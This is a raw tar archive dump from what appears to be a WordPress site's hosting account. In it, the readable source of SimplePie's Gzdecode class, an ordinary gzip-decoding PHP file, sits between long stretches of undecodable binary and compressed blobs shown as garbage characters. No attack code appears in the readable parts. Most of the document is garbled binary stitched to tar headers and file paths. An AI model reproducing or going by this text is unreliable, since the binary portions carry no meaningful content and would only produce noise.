4�)n��R��5#����n=D��V:?�W}R�il��W��}$9rƙ�c�Y����]�͍��fRڬ0PV�)��m<�b���vq������D��P���斓�L�;WHR��H��X���]��*�;.5Z�
SG�H�ڨ\�5�Ǐ�������&N��Q}�S�K�D�m;��vֵ�NwH���t=�a��V!H��I*�3�Տ�k�7R���~l���s��h���f]�gj��p���L�mr����!8Ƒ��ڙ:h����*�S�P/n�R�Ӱ��nV
r�l=��]�y��F�Z	����J�E����`I��K* Y#�7iy�lk>�(N8�]���p��7�
0�4V���ܼ�L��$y���ͥ�R(����>���
�
L_�[��hR�bFo_��	�eS�|Q.J�s��+�����͛)�u��{c��kJ:�6s�p�ӎ�IA'�P���cx��H��;#�D�D�2�g`��0]�-p�QO�܌Ͻ��:�հ�읠O�+�㳣#;l��lj�q�B�Jk;g���t�a���-�R��.]�������_ӓΝ��3�eAMZ�Q���Jjf.�ܐĺ�o�;�.�z�I�=5ۈt�TƼ;����ے���?��݇��7���F�>p�8d�/*p�p{��{��=a�t����nׯk?��UL�)�r"�]��4���h}z����`�������/��BF-�3����$��;��>����g�(�5�F�w�_2�gUZ6тnp���5��4:er�h[濷��8�H�:�oSy��Lth&R��������E�f2J��,Ù�]��ix1j��DY�N�W$_���p$5��gE�T�B�J��L7g�QV�I��",��HLL�r�E* �7��ߥ\�7w1���4�좛X���9$�c��-�v�G����ĖF��^Q��H��(K���Z��BR6tK��X�L/����R5Js��Yߤ���ӕқE:�<	�q�;. �ۈ�hL���%���]�픛��p��{7�S��
K�&'���֑�}���)��B ���]�$z߽zT�a��\���J�y�م~��
Hm���>���\�辈J�5X���y����u]��z4��zA���[H�0��w��^��@eJ�S�`��ª=/��э��k[������R8������s��Q�r��KAN�i(�c?�<�S0쉪����H�4\����c�+�M5܁��t�_�{jt�{���~��ϗϗϗϗϿ��?1Le�b14338/Gzdecode.php.tar000064400000027000151024420100010234 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Gzdecode.php000064400000023754151024330630026277 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Decode 'gzip' encoded HTTP data
 *
 * @package SimplePie
 * @subpackage HTTP
 * @link http://www.gzip.org/format.txt
 */
class Gzdecode
{
    /**
     * Compressed data
     *
     * @access private
     * @var string
     * @see gzdecode::$data
     */
    public $compressed_data;

    /**
     * Size of compressed data
     *
     * @access private
     * @var int
     */
    public $compressed_size;

    /**
     * Minimum size of a valid gzip string
     *
     * @access private
     * @var int
     */
    public $min_compressed_size = 18;

    /**
     * Current position of pointer
     *
     * @access private
     * @var int
     */
    public $position = 0;

    /**
     * Flags (FLG)
     *
     * @access private
     * @var int
     */
    public $flags;

    /**
     * Uncompressed data
     *
     * @access public
     * @see gzdecode::$compressed_data
     * @var string
     */
    public $data;

    /**
     * Modified time
     *
     * @access public
     * @var int
     */
    public $MTIME;

    /**
     * Extra Flags
     *
     * @access public
     * @var int
     */
    public $XFL;

    /**
     * Operating System
     *
     * @access public
     * @var int
     */
    public $OS;

    /**
     * Subfield ID 1
     *
     * @access public
     * @see gzdecode::$extra_field
     * @see gzdecode::$SI2
     * @var string
     */
    public $SI1;

    /**
     * Subfield ID 2
     *
     * @access public
     * @see gzdecode::$extra_field
     * @see gzdecode::$SI1
     * @var string
     */
    public $SI2;

    /**
     * Extra field content
     *
     * @access public
     * @see gzdecode::$SI1
     * @see gzdecode::$SI2
     * @var string
     */
    public $extra_field;

    /**
     * Original filename
     *
     * @access public
     * @var string
     */
    public $filename;

    /**
     * Human readable comment
     *
     * @access public
     * @var string
     */
    public $comment;

    /**
     * Don't allow anything to be set
     *
     * @param string $name
     * @param mixed $value
     */
    public function __set($name, $value)
    {
        throw new Exception("Cannot write property $name");
    }

    /**
     * Set the compressed string and related properties
     *
     * @param string $data
     */
    public function __construct($data)
    {
        $this->compressed_data = $data;
        $this->compressed_size = strlen($data);
    }

    /**
     * Decode the GZIP stream
     *
     * @return bool Successfulness
     */
    public function parse()
    {
        if ($this->compressed_size >= $this->min_compressed_size) {
            $len = 0;

            // Check ID1, ID2, and CM
            if (substr($this->compressed_data, 0, 3) !== "\x1F\x8B\x08") {
                return false;
            }

            // Get the FLG (FLaGs)
            $this->flags = ord($this->compressed_data[3]);

            // FLG bits above (1 << 4) are reserved
            if ($this->flags > 0x1F) {
                return false;
            }

            // Advance the pointer after the above
            $this->position += 4;

            // MTIME
            $mtime = substr($this->compressed_data, $this->position, 4);
            // Reverse the string if we're on a big-endian arch because l is the only signed long and is machine endianness
            if (current(unpack('S', "\x00\x01")) === 1) {
                $mtime = strrev($mtime);
            }
            $this->MTIME = current(unpack('l', $mtime));
            $this->position += 4;

            // Get the XFL (eXtra FLags)
            $this->XFL = ord($this->compressed_data[$this->position++]);

            // Get the OS (Operating System)
            $this->OS = ord($this->compressed_data[$this->position++]);

            // Parse the FEXTRA
            if ($this->flags & 4) {
                // Read subfield IDs
                $this->SI1 = $this->compressed_data[$this->position++];
                $this->SI2 = $this->compressed_data[$this->position++];

                // SI2 set to zero is reserved for future use
                if ($this->SI2 === "\x00") {
                    return false;
                }

                // Get the length of the extra field
                $len = current(unpack('v', substr($this->compressed_data, $this->position, 2)));
                $this->position += 2;

                // Check the length of the string is still valid
                $this->min_compressed_size += $len + 4;
                if ($this->compressed_size >= $this->min_compressed_size) {
                    // Set the extra field to the given data
                    $this->extra_field = substr($this->compressed_data, $this->position, $len);
                    $this->position += $len;
                } else {
                    return false;
                }
            }

            // Parse the FNAME
            if ($this->flags & 8) {
                // Get the length of the filename
                $len = strcspn($this->compressed_data, "\x00", $this->position);

                // Check the length of the string is still valid
                $this->min_compressed_size += $len + 1;
                if ($this->compressed_size >= $this->min_compressed_size) {
                    // Set the original filename to the given string
                    $this->filename = substr($this->compressed_data, $this->position, $len);
                    $this->position += $len + 1;
                } else {
                    return false;
                }
            }

            // Parse the FCOMMENT
            if ($this->flags & 16) {
                // Get the length of the comment
                $len = strcspn($this->compressed_data, "\x00", $this->position);

                // Check the length of the string is still valid
                $this->min_compressed_size += $len + 1;
                if ($this->compressed_size >= $this->min_compressed_size) {
                    // Set the original comment to the given string
                    $this->comment = substr($this->compressed_data, $this->position, $len);
                    $this->position += $len + 1;
                } else {
                    return false;
                }
            }

            // Parse the FHCRC
            if ($this->flags & 2) {
                // Check the length of the string is still valid
                $this->min_compressed_size += $len + 2;
                if ($this->compressed_size >= $this->min_compressed_size) {
                    // Read the CRC
                    $crc = current(unpack('v', substr($this->compressed_data, $this->position, 2)));

                    // Check the CRC matches
                    if ((crc32(substr($this->compressed_data, 0, $this->position)) & 0xFFFF) === $crc) {
                        $this->position += 2;
                    } else {
                        return false;
                    }
                } else {
                    return false;
                }
            }

            // Decompress the actual data
            if (($this->data = gzinflate(substr($this->compressed_data, $this->position, -8))) === false) {
                return false;
            }

            $this->position = $this->compressed_size - 8;

            // Check CRC of data
            $crc = current(unpack('V', substr($this->compressed_data, $this->position, 4)));
            $this->position += 4;
            /*if (extension_loaded('hash') && sprintf('%u', current(unpack('V', hash('crc32b', $this->data)))) !== sprintf('%u', $crc))
            {
                return false;
            }*/

            // Check ISIZE of data
            $isize = current(unpack('V', substr($this->compressed_data, $this->position, 4)));
            $this->position += 4;
            if (sprintf('%u', strlen($this->data) & 0xFFFFFFFF) !== sprintf('%u', $isize)) {
                return false;
            }

            // Wow, against all odds, we've actually got a valid gzip string
            return true;
        }

        return false;
    }
}

class_alias('SimplePie\Gzdecode', 'SimplePie_gzdecode');
14338/Requests.php.php.tar.gz000064400000000473151024420100011535 0ustar00��?k�0�3�S�Ē;Zh�.-�b�BƢ�g[D��jȷ���s��-��{w�*]#)��b�7�F�Q!�ȔP�k�+
-�\;��B�k�m�Bq�r�d����D��afw¦j�g�$�K葄��(�h�L&q4�z|���/�lˌ���!w��N���f���B�2��%�Kf-B"l+T]s�����h�@����mD)��-�cz�(��!�� g-�0
�vb���Km����v�u��ǩ�A�9ij��1�z����BXf/oO��n�����mp�#����\�/E��Z14338/plupload.tar.gz000064400000414771151024420100010200 0ustar00��b�F�0�~��Os2&��v.�i�,ˉfl�k��de����8(Yc�>�5Γ���
)ٙd�;���� З���uu�4�qv����z��Ç��{��6z��ƣ������G�ſ���z�D��"˃��#���[[���Wo��^��y�~������{u�W��S�fQ{����Ez��Q�y��*���s��ۂ��}��'�y��a2�/�4�'�x�Ѐ��ǣ�_�a� �0�b�0�ҹ�=�&���|�$��=M�˿��z���ƃކ��p���]��UPD�7�Y�����o�xA<��Q���p���B�3��Y�K&^~5����8-fa�Cyot�gQ|�E96'�L��e8��`:h>^�a0NC���<T-e�$I���ej�q�Eg1C���ep�]%��6����~�Ω<O ����=���<
2�/��h��8L���z1��k/d n�a<��Lp�]y���o5s�
Efg��bةt�ei�0-c�-2���D��\�<Z0�Oa�s�Z��Œ���Ff�`L�	�+/�:�7O��4�y��	���ϓ4�Y�@��"������,�j�0��(t��^��d�3��d`Q��a0�<�dፂ��z�1,4�p�$D����ػ�y�����T����4��i���	���%k���,�A��P�^� G�����rX[�wL	>�)���&�h;�$]@�^4����(;o��+�(�.��E:¦ǰ0)M�Y[-������Ӫ�eQd��{�8b(��؋�K�W��j�C�\�v�	��a�0���Q�U�p���!�Ѫġ5�i�35B$ʸy��a4��"u��c���	���#Fg�S����Mi�\�S;�:N/���i�S�0�0����hM�<2�-��*WԞI!��%�h��KS�>���|
��Des�bt�j�a��C�u5��G4b"�$���`��Y$��AS1L�34���<���2�[@g�rE�רf�|�Y���Jh8�s@	(3S�LI��OQZSK�{8���{`a�%�iγ���h[b.��:�e��ق��}.hb1���&�(�����91����p<�^ah�K\���ޙf0C�a�+F�ȭ[��b��ݨ^�F*&�@�9*gz)���	�O�	]Q�4:��B�OJ,�����Y���ӌy�<z�_M�Efc�+K�\*� R,{L`I�8���	yLp���4/F�\]�NlH��W�j�&�拜��s�<���<!H�9H���/�8�9����9~Α��!m%
r�Dc���1��R而6g���'"���E4^ P^2$Bhqv|셀�#�mć�M3�/��諎M�	DXfB��Y0FY�M�@ �)��jj̨)��i�<��y����:J���K�)�2��6q��|C��k�m#&	
{$��"�ף�7/��Wϼ݃W���^z���׿��������?Q�����������!��JPl����s���0�\����d��i �8a��y2EޒW"��@��I7dc\[h��S���j�ó^���Ava��,|�
�z"{��u�0��L=��j�؜F4d������,����O��>o�`��C�\V�M��iٛ')a�~M��ɻ�1����5��t�i�jSؚ�����#F��b_W�ItM(�c�QZ����xu��:
�{H�ec���4$*d^XGz�����+�U˶�3H�%Q�4�1c���SX�yю
�+T	�XNj�".M��d%�c_6j
�(P�dfW�Y�z��=�qm��rb�^	�j��&P�p��WL:	,n�xNt�Yq�S���O#Y�@i�ʰ�v� �IȌ`��2LpuuU�j�L#��\^[�F�9�i�̀	,@��T>4�o
�f��"�r�@s���›9nt�/0H�T��4�<2��4�f0+�b�[އ0��@���2ŰP�A�ء�����a���2�n��eH�4ڡ%�S�@CQ�M���V��6S�J�+:$�����*��1��ͬ�5��+i%11���1k�����~Tz���	s6
�xG-��j�QS([�)�X[�1�KI�/���Ԗ3����P�W�Jep�`��/5@ޞ�!#	�"-6��9�et�Q��X��"�$�2������q{�Q�U��JŤ�f��-(
4FeK�Ku�a	�M�ݬ5_09��D����\s��$��f��.cV��*�@YXj��ԝLPr*����,(|FE�1JǺD�e��b�<�QKI�z����H��v̖R�8�Ȇ�������TB�J�Q���Yd��
�@ԣ�V�$#F���t�6EjAz!@!�OqQ@PB�f|��d�M�„iS8ϫ�x5 /��>MiA}���Cvá+����lk��-��1^�6-�P�0�F��T�/l�#]7�.��@�#�5�>�B"W}d��γp:QG�5���X���|6�Δ�L�
�FS����R��p���:����P���"'�D�+uiv���E���e��]h~P��*,-ݙ>�%�<� Kbh��(�$ �g!l>D3� qoS|�ZX��ނ��(���ъE�j3�8��vR���#�
]��y��
��e�̚�M��4L�0��D��SjE�BtՖ7�gqJ%�Z���`�1����2���A����pY�.m*�(sÂ�!�TOV��x�?T�.�K�i�*��BJ�\�K�'�E(Y�?�S��f��+w)g�@���my�J�7��H���Ô�_e6c�0���m�OI
��mJ��*%�~��E��83$t��ΒjVT�JUC���E�^�DZ�;�.��-�Pz�<IA��n�Ǣ�!B�T�?:���Ө�T2��%���УɼTI?�-dQ��=ZT�Vo�ȉޠ@V�~k�j�m�	Q�d( h0�=�
�#>팀%�QZ�ի��!���-��g�3@�j#/G Y~2:�/{^�Z˦�BdV��Xo�%� ���,dL��sXۂ)�@VY��IܾwL#n�l
�9'���*R:�1Z�GD�|��E���,���1��\$�[JA@��JԖ����'&�sO-g�b���qց�>�w[����#��5-î(�)`Ja��$�
c�b�_8�Z2dQ�xL���H1rf�ց	cD�R��V�v(+2=���E��7/�W˧��:��a^R��x����C�}�\�㱉!*lcX�P��c�9'£8�Ӻ��'�>'���
rz�s�5ꝻT�1%��=t�@U)2J(v�EF�I�e�(R�0�"~8��-��fIy��i4��dd�5ſ�H�d$��}|:
l���F�#,�N:�v�lҊ�J��K㱷�!�s���Ѡ��h�֮�D�����2�ѐ��S��Y�$�`4I�M!B��8��h�!o�k��R�Y��,эlLHx�����In!�uW5��١dgvg���$-X���e�<�3!:�W�֩k�� �8��h��R�T�jy(�iF(
��O��$�Rc�aAr~V�+*�G(/��-��y9�8gsЙ,�����Ț����@l��L�,��B�#J�QyÏs4�$�^QsKR��L4/R���8�$&K�_�;�O<Tb���`�\ ^�L$�ut=+���m��%h:Ҵ�-V4ꌝV��,��>|SnQj\o4`�sh�P�AR�uO��'�)�i��HK���Niw���9�*X�IR�L戯�Z=|��	���|6ں�b�
�da��gœ��A�7PJYJ't��0��P?
.�ѽ���p;�[<�^�Y+��`�o�yq���Ŧ<mi��1�:k����g�hoT.F�s��k�k�I,h8���M�OQ�h�|�JҿeĹ��P�@���!�ݨ(ZM�"�v�M�Z��}�n"E9�ewΔ������-'��N�oQ��I��i]Sh��k��s:���ܝ$�),$�b��:�(J5�q�o;���:YS`��s����_��Ȓ�2����s
Qd8�*4��T�h��|�<�įP�a�.¬��,,$Y��q�)�/8(�
?H@[VJ�Rl�`��"��.
{���6���.��jθ�.�[��V�-�����ze�l1�m�Q_9��P��}hcyꅰ�d|��	�/-"J�
1��=9�/�%ju��L�����^�\��p�&ks[b���K�	��$�xMX�F�AF{��H*`<D�<�W��'"@��w���3ۡl>GņH�<=E���A��+�g�:�)٣��<�� ͺ0��ż)C�R�G�i�6JG�YFT�)�0���[^�5�I��U�:�(x���d�(T�����}��6_�D�*Ln�2���w��z��
4��^��u�KOLul7��+9��-�Kn�������,������Ri1L�_;K�2��ͫ�Q)	��9;g(쟓A'��^�:�	�7�8�3��m�TG�њ�%�t��}%��qMa;�.QI�Q�y��;#�I^-#Ke@X�J[bC]�a/yPu�I�0�3&�R��s���;�
���#��O����A�L�ϓ�d£®�є��P�����t):��!��
0�܊�j���3r��:�d�h���k�`E��;���1�Ԣi�覈*��W�X��ҙDi��H�D��́��A�c�: �j��X|~N���-�`k|Wc:���[f��U��l̉I��&P3��c�I�9b�'S����E�A�O`�IF���9 �2/���0�\hU���R/t�)�z����C�߿�j��K��Y@!w��;ı�m��A�!mسy��˺22e�o�ߌ@A�D��0ŦD��ۈ��ޓ|��H�$[Kc�Th]Ek#.!���dQ���a��P��-gB�z�lI�`Jiy�	��#�F/�T�P��G[9hӹe>u�i�!��PI�\���=D�Z:��n�3x����pDv�X%�*��VCSu���z%;*�Skw��Pr>!G8&��j&�w�.�Ԍit@�[,t�CM��Qz7��H��	��H���2����-����B�dY�؁61f��Y�h �y'�<@�����ϒ`J���^z�Ў� 9v��@�����������vl�6���1=�^�[N���w޼�yu���F�{����p�;�q�{���7;/��C���{�fo�;x����=˽��v[� k5���ߏ�^y��޼�?:�֞���~
��<}���fs��{�����{U;���x�v��+��7�G��~����?y?�x���\u��;U�^�9��;�?�?sU�9����G?�=���v^��m��3��ۧ�������!��m������o���Sh�����<:��QeU��_{����������%�
?�?z]�s�C��������{h��)�F`������9�������.��r��.-Ta!q��/o�k��_<�5U'j�{��|o�h�'X^(	��}�'�}xD��jo��y�w���]��ڛ��;�0�� ��
�r�i�f�d�'ā��^�h���[O&`;?��dZ�^�y:�*.�OU�Y�_���;��W�/��v�v���`�������>����=�y���ޡ_�H@]�'���������k��gv���U�҈�ˉCC<�%�=���J��]ܗM�w�/^"�A'G;A�>���o�^�|�v���}������[�l��hQj8^��o���D��=���M	Ǡ��Bl�pM/�B�ÖO8��?��v���]���#,��=(���}�<�O
����Ɂ� �}�a�p�
�}(�%~d��EپzD�^����:��2D`a�c��d�Y�!�Ci]m=�gt�#�k����l�i�Ê��ۨ0�)�,��`���>�Ă���f���z%9�M��>)V�CuNd�<��&#iG^%8�f��,���b]{�
�o0�9`�cA}M�/��� ��X�잉�f����6�s2��\���I��ki��|,F+o��D~8��G]�]lD��$��q>��r�&��Oq�CP=&p��=���Bm�ר��聚@�O2�R��[�b���,��{a�=�W�zV�16^ٙ#6jO��r��D��U'/�Q��t=�[e�S=�9�ha��ғ�<+��,�Ͼ"��(ގ4H�-}�B�	ɸ;%wA��	r66Qd�0�w�҇!�IM_.Z���R�^T�2:��m�6^��Ȫ�Ó1���3L3�[����Q�7����/���tZB#��#�v4&��Z��,Q^�U-Mb��h_4eç��x���B�K%Ne�z����5�~�rD�2�Q��&
ŝ�d����_�Ѹ�=w7�j�@���;O^����[p�"����+@�_���e�c6F�"�C� �b?8�A-�=*m>Rٖ�ݨa�a���9�yt�e<�|��-�.�:7K5r�ݳ�	��Y���3�q^�}O��<�420X�*A�{Ll�'
0k��l��dט��&,�e�6�rҥ�E����� ���g�D�"!Д�
�5եw�,�ga��wZ�P���IG���xԌ��m�\���[*J�&�o�g|Y�G�RЉb>�A.TTє�Z��\%�8��N�{�+�;h���"DX:��~���c�0�1�ۼ�'n*����M
:�+B��>�)���G���K��`�%���i-������c��,R��~�����,rndL�?���q�f]����![j���h�O���S��m45�N�3��3���G�h+�v�=Zv�L;�ԤqeCb�p�|DՍ�1�t�L9�E�:�Eٴ�?���~��1n���w��O�~���i�����_{g�d�Q%�`I���O/6z�>��H���v���c��-}��i�Ct}��0�sr����}V�Mr��~ݭ]`T�d�3p�аx�\v�ȩg;�ق/�\_�V��	�@D@rOP
h�@c�N��t�V�vYG��	�\�g��z��A
<tt��i&�x��T�k.�q���v���m��<��$.b� 
l�=�H��^�C���S�^�����f`[�a������=V-:��6[���@�N@[PvA�(ޣ[���C
HM�3
�3`��J��g�v����f�y�#Ȧ�����������m�z�c�'��^p��AZ�i��…=C�����g٠n�^}�� �S(���0��
o]-Gf�ˎ�j4m�dB�d޸�o]5��|:����Ï9���>�X�GK�ӄ~���6L�Y�'�??��{�#L����߆
�Q�\�^KV�Y��u��p��lfz�l���
����2�:8�tuں���p�
P��%i�p
�h�v��)�wo�5P�䁖ikRȀt��o�Og�H�Fh����(��Λ��p��!H�1�^��M��9�F�6ݒ=��
g�leX��ϕ[��h�4�
��*D{�����Y�/޴!�`�9�gS&,��sC�w�y8�@��Ӕ�n�&���;�@��N����sX(PgC��
�`�1{|Db�����D'c�u��)6w��ٻdzEȁ��X�߿o͇����yJ��0=�� W����ݞ�Z��`�^��P��`k���Pz/M���r9\g����S�N ����獯2�<��[�i��ս�4��bBa�۔z��lTg�过��3�ې�?��tTAF~�)g�A�r�x��1
Q^��e��Ƃ?�'õ�B��3�%*�+7e��Mao�e���]��k:[�|LH�_�PyE�/^�K/�2���5�n\̢���0P��4�fc���9�i2�!��2O��G��:�������4�+s�<�wts2<����v��U��-�q���>��]�'�L7j-��E�B���#o�ʠ#��'pE95���6-z�d0L�y�y]	
[jn�0h�(��a�a�|*<�>�읡Yw�C�bC.6̄�i�2E�M��{<O�'^����i�G�@[\|��d�|��"�5�|7^o=~��篺@s��h�0t�ͮ�Q��S �I"��Y�Qċ4��ް\Ls��
{
`펒�<��t�������B��gZMw�YGٔY������7��TXme�@5�tH�fDv>��T�^�C+K��*6A��x�!�ʸ@�ZF%�?��R�˩�<�#1�p�Ը77�ߥ`:�A��?�U�5�m59�	j�����R�Skp@����{�z�i�����0&ɲOҙ�L�W��߹�b~�%���Q~�G�F,�P�i��H�Cr���E3��S
-��h�!Vg���W^�;�"c��!
2��
��8̟G�D��6q�MO��q@���{�$�7�(�37�^�
���{�y$ڎG��4��}(��?�|aȟ�]qu��F���0F�F$t4-Q<_��ui{+ձH����F�V�� ���O�c[���/2&4f�{��@ns9v��ɠu%�Z�0#���,�3?��h�����o%�' ?q��m�,SЛ�7D��/��d~�R�]w���^�G�+�]�U<��W�[u�9
':u�����4j��k��y�t��uo�7qТ�sm�-o���˩��&}��H��8�EBtŷ�r�S����j�@.�����5�;]X�������:�3��I+���P�)`���-��
q�+�����{�G��ޏd��,�0�Ae�Y@:�k�%�!�Y}X�
z!B__z��>��>��H�asXG�p�������32�c�����'�3@�����~&�n`0��j�a>��j
K��?:__���7�Ȓ�G$H�!��n���8l�O~Ú-(H���h�m	�+�Gv�j	>c\�ҳ�2�l�h�����S�,����J��+u.�)H�-�Δ�r�Ⱥ�h�kD�;�k�{�.`w���-���
�N¯R��yZg��i���/��S�ˆ�4I�}I"i�op��Wl���,��cmXsN	��)]=%���6�
��ʧa0�p��'�n2���(6n������20��ɤl�[��L0|d$�G��	ҷ��^:��))�����x7��1��D�};�:��pg4�#�e�F���v�:+F��R�rL��w�:�"�=e1r�v>-�/�KP��6��yz4r�m�P{9��%1P�w��c�5mc`M�9��&��+ԟ<�?�	P]��}rn�hsl�M�ؙw��J��?�9���pS�5�j8%�*"��$5��zo����0PU����8w
˸m��#��9�$��2iʼJqJ��zI���f�B�Ԇ�-���Ѐ�x��1@���)��X�d�=wV�@=��e�F�Vw�F���X�;�F=ՍF2�T!Yin}�ٝ��p�d�H/?1T��:�׎ٌ|k����B��r�/&yRڗ�~ē+9>G�q��@�mL�=���ᮾ��A�h�c�*�9഼�)F��ҽᙯ��U�U������
�Uf�!��q��-KxmoÚ�/$�}RD]�N�iRH�^~��J�g��ODl�k�^�O�Ê�G�<8AsU���l�C�~q�E�Z�-�XPTaĕ/e�X3	�[�(����k�b
H57.��H����8JW���ʊ�d:nx�
X����B�10?SzK��y-Py���<��P����yH
��C����T�]���.j5��ğ�'��Ю�͂�t_"��.�|t����^f���y���h$5D�-�����ģ,\"�o;
��Vc���p�1�<�qÃ�ٹ}R)��K@RDD(�l`�d@���>[�)��t`�ߊ2"	��M�>-�w�L@��,^4�/ݜ���כ������kU����GQX���?l��vO�����ӽ7o���`�a�?�Q�S°�?q�ۻ=��=�G9,���;[��>ތ;��G�!��) I�A|ʦ�;��r��_>�>_���I�Nь�o[���K^��/�p�x�;vJ�:�w��l��KQl��jr�;��$�%n9k+sP%[�s�I��h��US%���)�Ê9������<��N��V�վ��~9]������7�G��
�,-0�P�ݯ�m�}��`���~�~�ttEa"N�x���"�w�v�&9��.q�I���wݿR�f?� ���h�Dm<�.p)mv�vG[�IDF[�5gr�amY��Ơ0/$�C
2p_ի���Y����@��>^۪r�U�r9��ۅ�����~�΂=��N��S�/�`�CVjv��%[�a��E����p�y���lV�g4�.ǎ�'H��W�wW;ڊu�����.G�+��}�B�Ԍ��|��ű�_8���w��zEnާ�x?mMP7[�v<:��_��P|��75t��󋗸v4 ,	4�

����$]䯇H㰡�R{�N�E�I��qnj����}�$�afDƟ4:;�=�}fm�|�i�\�Wݗ�"��f�$Cɓ��-��D���ծ�5�ð��B�\&�h�����K'��!J�4E;TU��e�=����E�-�x(
�������ug�)�;�*8v�#�X[ҝG	��q�qmx�J���䶶ܵ�ܲc������g�
�`1氢��\�;���U�r+7+(6��)�r�{oM�*8��`|e��}Ÿx�v�cez�s(��'t��)|@$�j�p`a;�gm{k�[8�ͅ���hS�Y�%}�D8Ӥ���1�c�Ѥ~�`75v-�{(�Bi��K�$0Rp�it���-�Х��r��
�m��x����w_5+FI��g��$��FW��ΨD��ښ�kO��k��;M����h�F0Cj}:�c^�hp}�5[��Dy��B���?������,�P�o�ha����S�ԗ�|�(�[V��D!٩h"Ԩ��� ��>�[2K�:}h�O�Η�2���Yչ�R�M<�,��$r��Ȋ7B&��Qj���+�m�
�s!vke�Π�1@���󫂔�h�o��P9j#�i_�)��&B9�D-'�T�2�E[TO�zG��>c�y�q�Ja{��Ȼ�-.��-���
=�0K�0l�M���A䘝�5��n�jջ��,��|T��Hu���*^Gi2��%�P��Z�g�B����q��s)r�(�ʿOmnj�4`��Ϲ&khP÷���Ԃ7��G��Շ�響�^���cj�
�ę}{�g�G��%̕*N��
��`���o{M������q&sP���%�LU�D��^
�u(�C��v�`(|�R��bHLN.u`�zdjk�K���Z��7�떤֑����D�G?juN	+�,F�@�K�l-���3�z�cK	'$Q��cL%�ܓ6ЙW�I����i�����2��#��5>G��B3ۏ�˹��,%&��e_�M�nd����rl1a��X��M"��[B�VZO,!�J"
��'�C^�k�/h�G���p:��hC��QM��U���
�"�o��Q����\�l�t�³���/��[L�)	)1%����)�T���3�3��±K�]bU�7a�{��`HރG\�}�‘~�|
�� �@y[��Őv��[;�~�j|�€*)]lO6ԠkQ=�I��T0=�B�me���W����G�I�Ns�>xߠ�e�|m<u�<;��f{lqw25`�U"�D�s���ZQv}]���ُ�+���u��ب7��ڸUB�fU"��W��V_�UK��Sa��N�����"��%�3F�v��+*���2�ZX�J)��ƣ�+|�)���<��6K~6��nM���D[YpK�Lʪ�Y�N�K��Ӟ������o4��w�
�姨�_���1ud�l�ڗ�]ѝ�~�Xv�P;�z��X��a�F��<E�$S-K։�vÖJ�d��Мhm�Epa����7��A��U6��"(�o��eq�5�p���qB��%�4e�G�+Ks��~fjr���H��ģ�yt\|L�4Aj6�Բ���xv�@�-™�ż3	)�V����8e�����d�w߲�/�dMCK�_�Pۚ6��65���}d�@/:��+d-���0��XHa<1�W� �L���dZ��A;h�X]���}a\M�+W��L	W��s�j�&�al(&�Z�h���d�hx��Ҏ�8��
��,��NK�K��ڬn�W���}{݄�̫.,kFщ���d;�	#�&WX���V���顚N=عg�HX��Qw�}l�/��g�Rk��_��-Ϊ�i2�P�q��� �b���e���p8/��/�Ì�h02���_�`��<�|r�����ᠭJ�?�;�UA3lfx����hR7���q���?h�Ld��=|/nF;�����܇j�����i�ge���ۧ�.5�,1-��˗ƺ�8b~1�_��&�\�� ����E�S��F���:^�-�x�-r探cFF����<:�^?���x�ɑjI�j���U��KV�Ƭ%��/�3��S�V�T��@�aՈ���\�{�`��ӑ�OG�	��8����^! o���{��(�����������9꣉yz9-?D}���Y�Bт�x��rN>%bֿ��h���5�}�l�9��b	HS_�+�
ۣ�A)4nM~Hs(���������\=���Pպ�̫R.g@;�,k��m�Z�}��q?ɐ�
핔��4��i����7�+*5:�DI��1���E�5�7�8>�a�F!�0V��*�#�JLpu�E0��~i��Tw"��F��g��;�ٱ$n�ؾX�p��+��5���4Ԭ��T��?�nC-�g����xi��9��D��_g�j�*��+�;+[�����
(�,��M��f&g��M[�p=��W��1)��T�wt�9ލ3���F�ie�8O�15ޭ�)DsN���#�L�������~�k>�6��go����2yH�M�kg-6�
���d��O�ond�@�O��	2~��L�<�k��!�2�$|W�
��fQ�2
;�i_@������Xjp�r�jPTu���PAd���u�]�7s�c\n�\�����[���s�A��
A�L%�F	;���A���ӼQ(ĕ5�о�ᆛ|��}*5ه�n|3g���F
23p�Vtx�'�l�S��2�{2��PoO>(MLLO�V�k�%ҀY�@L)�i<���,�)���х��<�*Nm���W"hA�(@?�>H�i/a�h0�Ļ� U� �EJA�-������;����5ʼn�	3d�Ǎ�)�:GКvMI�i�d{�P8��k�W�zKB��N-9��h�N�ݚS���
